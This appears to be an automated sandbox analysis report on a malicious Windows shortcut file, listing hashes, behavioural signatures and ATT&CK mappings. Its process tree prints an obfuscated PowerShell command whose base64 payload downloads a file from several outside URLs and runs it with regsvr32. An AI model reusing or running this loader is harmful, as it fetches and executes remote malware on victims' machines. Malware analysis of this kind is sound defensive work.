3e3b827cf8b350d18fc92feb1c7bafd89ca2239eb903bef27bdc06a41de98b57

Resubmissions

06/09/2022, 13:38

220906-qxnn7adff7 10

14/06/2022, 07:29

220614-jbbdeacfdk 10

13/06/2022, 22:26

220613-2cyjfafdb8 10

13/06/2022, 20:59

220613-zstjbaagap 10

Analysis

max time kernel
37s
max time network
46s
platform
windows7_x64
resource
win7-20220812-en
resource tags

arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
submitted
06/09/2022, 13:38

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Report Analysis Logs

General

Target

UU3444499999999AA.lnk
Size

3KB
MD5

08205fbc8d439bb4dbded1b3b4146daa
SHA1

f07b89b0bb7691406f109e6be7d59551efa91fc7
SHA256

3e3b827cf8b350d18fc92feb1c7bafd89ca2239eb903bef27bdc06a41de98b57
SHA512

c1045c4ab9ce5e3fe0b2c13521b75e824b1501c626782aad55a20923d88ecdc9c0f28fd0b6f005dc5ea69b8af50bd7bb5963f389da55a4e7fc74fa8defbbc902

Score

3^/10

Malware Config

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1900	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1900	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 1780 wrote to memory of 1900	1780	cmd.exe	29
PID 1780 wrote to memory of 1900	1780	cmd.exe	29
PID 1780 wrote to memory of 1900	1780	cmd.exe	29

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\UU3444499999999AA.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:1780
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -c "&{'/ZIIDxaZ4eOrVrXwvO7wSOLQe/f4UxLlrO9bmR5Uq4eReEdw+a2fZRMSDRMsW+yRtA38AWvk';$Hkc='JlbmNlPSJTaWxlbnRseUNvbnRpbnVlIjskbGlua3M9KCJodHRwOi8vbmljb2xhc3Nwb3J0YWZvbGlvLmF0d2VicGFnZXMuY29tL2Nzcy94S0FLYXpDVE4vIiwiaHR0cDovL3d3dy5haGFuLm9yZy5way9jYXRhbG9ndWVzL3YzLyIsImh0dHA6Ly9ucmMtc29sdWNpb25lcy5jb20uYXIvY2dpLWJpbi9uOWIwQTlOM0pScks2TXkvIiwiaHR0cDovL3d3dy5hZ3JldHRvLmNvbS9UZW1wbGF0ZS9qRURZQ1ltOG50SnQwU3EvIiwiaHR0cHM6Ly9teWFubWFyY2hlZnMuY29tL3dwLWNvbnRlbnQvS3VHNFc3aC8iLCJodHRwOi8vd29vbGxvb21vb2xvby5ubC9jZ2ktYmluL3pJZHdOQzJkLyIpOyR0PSJlblBNTXZSbiI7JGQ9IiRlbnY6VE1QXC4uXCR0Ijtta2RpciAtZm9yY2UgJGQgfCBvdXQtbnVsbDtmb3JlYWNoICgkdSBpbiAkbGlua3MpIHt0cnkge0lXUiAkdSAtT3V0RmlsZSAkZFxLS0h3RUx3Y29YLnJLVTtSZWdzdnIzMi5leGUgIiRkXEtLSHdFTHdjb1gucktVIjticmVha30gY2F0Y2ggeyB9fQ==';$ZYCJ='IFdyaXRlLUhvc3QgInNBYlZTIjskUHJvZ3Jlc3NQcmVmZX';$ZYCJ=$ZYCJ+$Hkc;$EL=$ZYCJ;$gFtY=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($EL));$EL=$gFtY;iex($EL)}"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1900

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1780-54-0x000007FEFC421000-0x000007FEFC423000-memory.dmp

Filesize
8KB

Download
memory/1900-93-0x000007FEF40A0000-0x000007FEF4AC3000-memory.dmp

Filesize
10.1MB

Download
memory/1900-95-0x0000000002954000-0x0000000002957000-memory.dmp

Filesize
12KB

Download
memory/1900-94-0x000007FEF3540000-0x000007FEF409D000-memory.dmp

Filesize
11.4MB

Download
memory/1900-96-0x000000000295B000-0x000000000297A000-memory.dmp

Filesize
124KB

Download
memory/1900-97-0x0000000002954000-0x0000000002957000-memory.dmp

Filesize
12KB

Download
memory/1900-98-0x000000000295B000-0x000000000297A000-memory.dmp

Filesize
124KB

Download